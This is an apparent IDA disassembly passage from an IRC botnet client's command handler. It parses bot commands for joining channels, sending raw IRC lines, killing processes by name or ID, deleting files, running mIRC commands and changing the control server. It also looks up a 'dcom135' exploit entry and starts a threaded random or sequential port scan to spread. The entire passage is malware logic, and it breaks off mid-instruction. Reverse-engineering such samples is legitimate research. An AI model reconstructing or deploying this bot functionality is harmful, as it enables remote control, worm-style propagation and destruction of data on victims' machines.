loc_40D59A: ; CODE XREF: sub_40ABFE+298Ej mov eax, [ebp+var_1934] mov [ebp+var_BB0], eax cmp [ebp+var_BB0], 3Ch jbe short loc_40D5BB mov [ebp+var_1938], 3Ch jmp short loc_40D5C7 ; --------------------------------------------------------------------------- loc_40D5BB: ; CODE XREF: sub_40ABFE+29AFj mov eax, [ebp+var_BB0] mov [ebp+var_1938], eax loc_40D5C7: ; CODE XREF: sub_40ABFE+29BBj mov eax, [ebp+var_1938] mov [ebp+var_BB0], eax and [ebp+var_BAC], 0 cmp [ebp+var_BAC], 320h jbe short loc_40D5F2 mov [ebp+var_193C], 320h jmp short loc_40D5FE ; --------------------------------------------------------------------------- loc_40D5F2: ; CODE XREF: sub_40ABFE+29E6j mov eax, [ebp+var_BAC] mov [ebp+var_193C], eax loc_40D5FE: ; CODE XREF: sub_40ABFE+29F2j mov eax, [ebp+var_193C] mov [ebp+var_BAC], eax or [ebp+var_B98], 0FFFFFFFFh and [ebp+var_B68], 0 jmp short loc_40D627 ; --------------------------------------------------------------------------- loc_40D61A: ; CODE XREF: sub_40ABFE:loc_40D685j mov eax, [ebp+var_B68] inc eax mov [ebp+var_B68], eax loc_40D627: ; CODE XREF: sub_40ABFE+2A1Aj mov eax, [ebp+var_B68] imul eax, 3Ch cmp dword_41ED98[eax], 0 jz short loc_40D687 mov eax, [ebp+var_B6C] imul eax, 0Bh add eax, offset aDcom135_1 ; "dcom135" push eax ; Str2 mov eax, [ebp+var_B68] imul eax, 3Ch add eax, offset aDcom135_0 ; "dcom135" push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40D685 mov eax, [ebp+var_B68] imul eax, 3Ch mov eax, dword_41ED98[eax] mov [ebp+var_BB4], eax mov eax, [ebp+var_B68] mov [ebp+var_B98], eax jmp short loc_40D687 ; --------------------------------------------------------------------------- loc_40D685: ; CODE XREF: sub_40ABFE+2A62j jmp short loc_40D61A ; --------------------------------------------------------------------------- loc_40D687: ; CODE XREF: sub_40ABFE+2A39j ; sub_40ABFE+2A85j cmp [ebp+var_BB4], 0 jnz short loc_40D6DE push offset a_n_z_m_Root__0 ; ".n.z.m. (root.p.l.g) .. Failed to st"... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx cmp [ebp+var_4], 0 jnz short loc_40D6C9 push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40D6C9: ; CODE XREF: sub_40ABFE+2AA9j lea eax, [ebp+Dst] push eax call sub_40913D pop ecx push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40D6DE: ; CODE XREF: sub_40ABFE+2A90j mov [ebp+var_CDC], 10h lea eax, [ebp+var_CDC] push eax lea eax, [ebp+var_CD8] push eax push [ebp+s] call dword_4263D4 ; getsockname movzx eax, [ebp+var_373] neg eax sbb eax, eax and ax, 100h add eax, 0FFFFh mov ecx, [ebp+Count] and ecx, eax mov [ebp+Count], ecx push 10h push [ebp+Count] ; Count call dword_4264AC ; inet_ntoa push eax ; Source lea eax, [ebp+var_CC8] push eax ; Dest call _strncpy add esp, 0Ch movzx eax, [ebp+var_373] neg eax sbb eax, eax neg eax inc eax inc eax mov [ebp+var_B7C], eax push 30h ; Ch lea eax, [ebp+var_CC8] push eax ; Str call _strrchr pop ecx pop ecx mov [ebp+var_B74], eax and [ebp+var_B78], 0 jmp short loc_40D7A0 ; --------------------------------------------------------------------------- loc_40D773: ; CODE XREF: sub_40ABFE+2BBAj mov eax, [ebp+var_B74] mov byte ptr [eax], 78h push 30h ; Ch lea eax, [ebp+var_CC8] push eax ; Str call _strrchr pop ecx pop ecx mov [ebp+var_B74], eax mov al, [ebp+var_B78] add al, 1 mov [ebp+var_B78], al loc_40D7A0: ; CODE XREF: sub_40ABFE+2B73j movsx eax, [ebp+var_B78] cmp eax, [ebp+var_B7C] jge short loc_40D7BA cmp [ebp+var_B74], 0 jz short loc_40D7BA jmp short loc_40D773 ; --------------------------------------------------------------------------- loc_40D7BA: ; CODE XREF: sub_40ABFE+2BAFj ; sub_40ABFE+2BB8j mov [ebp+var_B88], 1 mov eax, [ebp+s] mov [ebp+var_BB8], eax mov eax, [ebp+var_85C] mov [ebp+var_B90], eax mov eax, [ebp+var_4] mov [ebp+var_B8C], eax push dword ptr [ebp+var_98] ; Format push 80h ; Count lea eax, [ebp+var_CB8] push eax ; Dest call __snprintf add esp, 0Ch push offset byte_470264 ; Str2 push offset aExp_1 ; "#!exp!#" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40D82C push offset aExp_1 ; "#!exp!#" push 80h ; Count lea eax, [ebp+var_C38] push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_40D833 ; --------------------------------------------------------------------------- loc_40D82C: ; CODE XREF: sub_40ABFE+2C11j and [ebp+var_C38], 0 loc_40D833: ; CODE XREF: sub_40ABFE+2C2Cj cmp [ebp+var_B88], 0 jz short loc_40D848 mov [ebp+var_1940], offset aRandom ; "Random" jmp short loc_40D852 ; --------------------------------------------------------------------------- loc_40D848: ; CODE XREF: sub_40ABFE+2C3Cj mov [ebp+var_1940], offset aSequential ; "Sequential" loc_40D852: ; CODE XREF: sub_40ABFE+2C48j push [ebp+var_B9C] push [ebp+var_BAC] push [ebp+var_BB0] push [ebp+var_BB4] lea eax, [ebp+var_CC8] push eax push [ebp+var_1940] push offset a_n_z_m_Root__1 ; ".n.z.m. (root.p.l.g) .. %s Port Scan"... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 20h push 0 ; int push 8 ; int lea eax, [ebp+Dst] push eax ; Source call sub_410231 add esp, 0Ch mov [ebp+var_BA8], eax lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags lea eax, [ebp+var_CC8] push eax ; lpParameter push offset sub_405A2E ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call ds:CreateThread ; CreateThread mov ecx, [ebp+var_BA8] imul ecx, 234h mov dword_42B554[ecx], eax mov eax, [ebp+var_BA8] imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_40D8FF loc_40D8EA: ; CODE XREF: sub_40ABFE+2CFDj cmp [ebp+var_B84], 0 jnz short loc_40D8FD push 32h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_40D8EA ; --------------------------------------------------------------------------- loc_40D8FD: ; CODE XREF: sub_40ABFE+2CF3j jmp short loc_40D91A ; --------------------------------------------------------------------------- loc_40D8FF: ; CODE XREF: sub_40ABFE+2CEAj call ds:GetLastError push eax push offset a_n_z_m_Root__2 ; ".n.z.m. (root.p.l.g) .. Failed to st"... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_40D91A: ; CODE XREF: sub_40ABFE:loc_40D8FDj cmp [ebp+var_4], 0 jnz short loc_40D940 push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40D940: ; CODE XREF: sub_40ABFE+2D20j lea eax, [ebp+Dst] push eax call sub_40913D pop ecx loc_40D94D: ; CODE XREF: sub_40ABFE+2962j jmp loc_40D4D7 ; --------------------------------------------------------------------------- loc_40D952: ; CODE XREF: sub_40ABFE+28F8j push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40D95A: ; CODE XREF: sub_40ABFE+289Ej mov eax, [ebp+var_BC] cmp [ebp+eax*4+lpFileName], 0 jnz short loc_40D972 push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40D972: ; CODE XREF: sub_40ABFE+2D6Aj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_nick ; "irc.nick" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40D9AC mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_n ; "irc.n" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40D9EA loc_40D9AC: ; CODE XREF: sub_40ABFE+2D8Fj mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; char push offset aNickS_1 ; "NICK %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; char push offset dword_422D80 ; Format call sub_4091D3 pop ecx pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40D9EA: ; CODE XREF: sub_40ABFE+2DACj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_join ; "irc.join" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40DA24 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_j ; "irc.j" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40DA6F loc_40DA24: ; CODE XREF: sub_40ABFE+2E07j mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_98] mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; char push offset aJoinSS_2 ; "JOIN %s %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 10h mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; char push offset dword_422DD8 ; Format call sub_4091D3 pop ecx pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40DA6F: ; CODE XREF: sub_40ABFE+2E24j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_part ; "irc.part" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40DAA9 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_pt ; "irc.pt" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40DAE7 loc_40DAA9: ; CODE XREF: sub_40ABFE+2E8Cj mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; char push offset aPartS ; "PART %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; char push offset dword_422E28 ; Format call sub_4091D3 pop ecx pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40DAE7: ; CODE XREF: sub_40ABFE+2EA9j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_raw ; "irc.raw" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40DB21 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_ra ; "irc.ra" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40DB83 loc_40DB21: ; CODE XREF: sub_40ABFE+2F04j cmp [ebp+var_2D4], 0 jz short loc_40DB7B mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; SubStr push [ebp+var_2D4] ; Str call _strstr pop ecx pop ecx mov dword ptr [ebp+var_CE0], eax cmp dword ptr [ebp+var_CE0], 0 jz short loc_40DB7B push dword ptr [ebp+var_CE0] ; char push offset aS_2 ; "%s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 0Ch push dword ptr [ebp+var_CE0] ; char push offset dword_422E70 ; Format call sub_4091D3 pop ecx pop ecx loc_40DB7B: ; CODE XREF: sub_40ABFE+2F2Aj ; sub_40ABFE+2F53j mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40DB83: ; CODE XREF: sub_40ABFE+2F21j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aThreads_kill ; "threads.kill" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40DBC1 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aThreads_k ; "threads.k" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40DD39 loc_40DBC1: ; CODE XREF: sub_40ABFE+2FA0j mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str2 push offset aAll ; "all" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40DC59 call sub_41050C mov [ebp+var_5D8], eax cmp [ebp+var_5D8], 0 jle short loc_40DC0E push [ebp+var_5D8] push offset dword_422EB8 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40DC21 ; --------------------------------------------------------------------------- loc_40DC0E: ; CODE XREF: sub_40ABFE+2FF2j push offset dword_422EF0 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_40DC21: ; CODE XREF: sub_40ABFE+300Ej cmp [ebp+var_4], 0 jnz short loc_40DC47 push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40DC47: ; CODE XREF: sub_40ABFE+3027j lea eax, [ebp+Dst] push eax call sub_40913D pop ecx jmp loc_40DD31 ; --------------------------------------------------------------------------- loc_40DC59: ; CODE XREF: sub_40ABFE+2FDEj mov eax, [ebp+var_BC] inc eax mov [ebp+var_5D8], eax jmp short loc_40DC75 ; --------------------------------------------------------------------------- loc_40DC68: ; CODE XREF: sub_40ABFE+312Ej mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40DC75: ; CODE XREF: sub_40ABFE+3068j cmp [ebp+var_5D8], 20h jnb loc_40DD31 mov eax, [ebp+var_5D8] cmp [ebp+eax*4+Str2], 0 jnz short loc_40DC97 jmp loc_40DD31 ; --------------------------------------------------------------------------- loc_40DC97: ; CODE XREF: sub_40ABFE+3092j mov eax, [ebp+var_5D8] push [ebp+eax*4+Str2] ; Str call _atoi pop ecx push eax call sub_4103E7 pop ecx test eax, eax jz short loc_40DCD8 mov eax, [ebp+var_5D8] push [ebp+eax*4+Str2] push offset dword_422F28 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40DCF9 ; --------------------------------------------------------------------------- loc_40DCD8: ; CODE XREF: sub_40ABFE+30B5j mov eax, [ebp+var_5D8] push [ebp+eax*4+Str2] push offset dword_422F5C ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_40DCF9: ; CODE XREF: sub_40ABFE+30D8j cmp [ebp+var_4], 0 jnz short loc_40DD1F push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40DD1F: ; CODE XREF: sub_40ABFE+30FFj lea eax, [ebp+Dst] push eax call sub_40913D pop ecx jmp loc_40DC68 ; --------------------------------------------------------------------------- loc_40DD31: ; CODE XREF: sub_40ABFE+3056j ; sub_40ABFE+307Ej ... push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40DD39: ; CODE XREF: sub_40ABFE+2FBDj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_setserve ; "irc.setserve" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40DD73 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_se ; "irc.se" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40DDE9 loc_40DD73: ; CODE XREF: sub_40ABFE+3156j push 7Fh ; Count mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Source push [ebp+arg_14] ; Dest call _strncpy add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] push offset dword_422FB0 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_4], 0 jnz short loc_40DDD4 push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40DDD4: ; CODE XREF: sub_40ABFE+31B4j lea eax, [ebp+Dst] push eax call sub_40913D pop ecx push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40DDE9: ; CODE XREF: sub_40ABFE+3173j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_killprocna ; "com.killprocname" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40DE27 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_kpn ; "com.kpn" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40DECF loc_40DE27: ; CODE XREF: sub_40ABFE+3206j push 0 ; int push 0 ; int mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str2 push [ebp+var_85C] ; int push 0 ; int push [ebp+s] ; int call sub_40F5A7 add esp, 18h cmp eax, 1 jnz short loc_40DE73 mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] push offset unk_423000 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40DE94 ; --------------------------------------------------------------------------- loc_40DE73: ; CODE XREF: sub_40ABFE+3250j mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] push offset unk_423034 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_40DE94: ; CODE XREF: sub_40ABFE+3273j cmp [ebp+var_4], 0 jnz short loc_40DEBA push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40DEBA: ; CODE XREF: sub_40ABFE+329Aj lea eax, [ebp+Dst] push eax call sub_40913D pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40DECF: ; CODE XREF: sub_40ABFE+3223j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_prockillid ; "com.prockillid" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40DF0D mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_pkid ; "com.pkid" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40DFAB loc_40DF0D: ; CODE XREF: sub_40ABFE+32ECj mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str call _atoi pop ecx push eax ; dwProcessId call sub_40F8C5 pop ecx cmp eax, 1 jnz short loc_40DF4F mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] push offset unk_423090 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40DF70 ; --------------------------------------------------------------------------- loc_40DF4F: ; CODE XREF: sub_40ABFE+332Cj mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] push offset unk_4230C8 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_40DF70: ; CODE XREF: sub_40ABFE+334Fj cmp [ebp+var_4], 0 jnz short loc_40DF96 push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40DF96: ; CODE XREF: sub_40ABFE+3376j lea eax, [ebp+Dst] push eax call sub_40913D pop ecx push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40DFAB: ; CODE XREF: sub_40ABFE+3309j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_delete ; "com.delete" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40DFE9 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_del ; "com.del" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40E083 loc_40DFE9: ; CODE XREF: sub_40ABFE+33C8j mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; lpFileName call ds:DeleteFileA ; DeleteFileA test eax, eax jz short loc_40E028 mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] push offset dword_423120 ; Format push 200h ; Count lea eax, [ebp+Dst] push eax ; Dest call __snprintf add esp, 10h jmp short loc_40E048 ; --------------------------------------------------------------------------- loc_40E028: ; CODE XREF: sub_40ABFE+3400j push offset dword_42314C call sub_40834A pop ecx push eax ; Format push 200h ; Count lea eax, [ebp+Dst] push eax ; Dest call __snprintf add esp, 0Ch loc_40E048: ; CODE XREF: sub_40ABFE+3428j cmp [ebp+var_4], 0 jnz short loc_40E06E push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40E06E: ; CODE XREF: sub_40ABFE+344Ej lea eax, [ebp+Dst] push eax call sub_40913D pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40E083: ; CODE XREF: sub_40ABFE+33E5j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aMirc_cmd ; "mirc.cmd" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40E0C1 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aMirc_cmd_0 ; "mirc.cmd" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40E16A loc_40E0C1: ; CODE XREF: sub_40ABFE+34A0j cmp [ebp+var_2D4], 0 jz loc_40E162 mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; SubStr push [ebp+var_2D4] ; Str call _strstr pop ecx pop ecx mov [ebp+var_CE4], eax cmp [ebp+var_CE4], 0 jz short loc_40E162 push [ebp+var_CE4] ; Format call sub_40840B pop ecx test eax, eax jnz short loc_40E11C push offset unk_423180 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_40E12F ; --------------------------------------------------------------------------- loc_40E11C: ; CODE XREF: sub_40ABFE+3507j push offset dword_4231AC ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_40E12F: ; CODE XREF: sub_40ABFE+351Cj cmp [ebp+var_4], 0 jnz short loc_40E155 push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40E155: ; CODE XREF: sub_40ABFE+3535j lea eax, [ebp+Dst] push eax call sub_40913D pop ecx loc_40E162: ; CODE XREF: sub_40ABFE+34CAj ; sub_40ABFE+34F7j mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40E16A: ; CODE XREF: sub_40ABFE+34BDj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_gethost ; "irc.gethost" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40E1A8 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_gh ; "irc.gh" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40E2F6 loc_40E1A8: ; CODE XREF: sub_40ABFE+3587j mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; SubStr push [ebp+arg_1C] ; Str call _strstr pop ecx pop ecx test eax, eax jz loc_40E2EE mov eax, [ebp+var_BC] cmp dword ptr [ebp+eax*4+var_98], 0 jz loc_40E28C mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_98] ; SubStr push [ebp+var_2D4] ; Str call _strstr pop ecx pop ecx mov [ebp+var_CE8], eax cmp [ebp+var_CE8], 0 jz short loc_40E277 push [ebp+var_CE8] push dword ptr [ebp+var_98] push [ebp+lpFileName] push [ebp+Str2] push offset aSSSS ; "%s %s %s :%s" lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 18h push 1FFh ; Count lea eax, [ebp+Dst] push eax ; Source push [ebp+Src] ; Dest call _strncpy add esp, 0Ch push [ebp+var_CE8] mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] push offset dword_4231FC ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 10h mov eax, [ebp+arg_24] inc eax mov [ebp+arg_24], eax jmp short loc_40E28A ; --------------------------------------------------------------------------- loc_40E277: ; CODE XREF: sub_40ABFE+3604j push offset dword_423230 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_40E28A: ; CODE XREF: sub_40ABFE+3677j jmp short loc_40E2E1 ; --------------------------------------------------------------------------- loc_40E28C: ; CODE XREF: sub_40ABFE+35D7j push 0 push [ebp+var_85C] push [ebp+s] push [ebp+arg_1C] lea eax, [ebp+Dst] push eax call sub_408EF7 add esp, 0Ch push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] push offset dword_423270 ; Format push 200h ; Count lea eax, [ebp+Dst] push eax ; Dest call __snprintf add esp, 10h loc_40E2E1: ; CODE XREF: sub_40ABFE:loc_40E28Aj lea eax, [ebp+Dst] push eax call sub_40913D pop ecx loc_40E2EE: ; CODE XREF: sub_40ABFE+35C3j mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40E2F6: ; CODE XREF: sub_40ABFE+35A4j mov eax, [ebp+var_BC] cmp dword ptr [ebp+eax*4+var_98], 0 jnz short loc_40E30E push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40E30E: ; CODE XREF: sub_40ABFE+3706j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_privmsg ; "irc.privmsg" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40E34C mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_pm ; "irc.pm" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40E404 loc_40E34C: ; CODE XREF: sub_40ABFE+372Bj cmp [ebp+var_2D4], 0 jz loc_40E3FC mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str call _strlen pop ecx mov esi, [ebp+var_2D4] add esi, eax mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str call _strlen pop ecx lea eax, [esi+eax+2] mov [ebp+var_2D4], eax mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_98] ; SubStr push [ebp+var_2D4] ; Str call _strstr pop ecx pop ecx mov [ebp+var_CEC], eax cmp [ebp+var_CEC], 0 jz short loc_40E3FC push 0 push 0 push [ebp+var_CEC] mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] push [ebp+s] call sub_40A08D add esp, 14h push [ebp+var_CEC] mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; char push offset dword_4232AC ; Format call sub_4091D3 add esp, 0Ch loc_40E3FC: ; CODE XREF: sub_40ABFE+3755j ; sub_40ABFE+37BAj mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40E404: ; CODE XREF: sub_40ABFE+3748j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_action ; "irc.action" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40E442 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_ac ; "irc.ac" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40E515 loc_40E442: ; CODE XREF: sub_40ABFE+3821j cmp [ebp+var_2D4], 0 jz loc_40E50D mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str call _strlen pop ecx mov esi, [ebp+var_2D4] add esi, eax mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str call _strlen pop ecx lea eax, [esi+eax+2] mov [ebp+var_2D4], eax mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_98] ; SubStr push [ebp+var_2D4] ; Str call _strstr pop ecx pop ecx mov [ebp+var_CF0], eax cmp [ebp+var_CF0], 0 jz short loc_40E50D push [ebp+var_CF0] push offset dword_4232EC ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch push 0 push 0 lea eax, [ebp+Dst] push eax mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] push [ebp+s] call sub_40A08D add esp, 14h push [ebp+var_CF0] mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; char push offset dword_4232F8 ; Format call sub_4091D3 add esp, 0Ch loc_40E50D: ; CODE XREF: sub_40ABFE+384Bj ; sub_40ABFE+38B0j mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40E515: ; CODE XREF: sub_40ABFE+383Ej mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_cycle ; "irc.cycle" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40E553 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_cy ; "irc.cy" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40E5EB loc_40E553: ; CODE XREF: sub_40ABFE+3932j push [ebp+lpFileName] ; Str2 push offset a332_1 ; "332" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40E571 push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40E571: ; CODE XREF: sub_40ABFE+3969j mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_98] ; char push offset aPartS_0 ; "PART %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str call _atoi pop ecx imul eax, 3E8h push eax ; dwMilliseconds call ds:Sleep ; Sleep mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_98] ; char push offset aJoinSS_3 ; "JOIN %s %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 10h push offset dword_423358 call sub_40913D pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40E5EB: ; CODE XREF: sub_40ABFE+394Fj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset 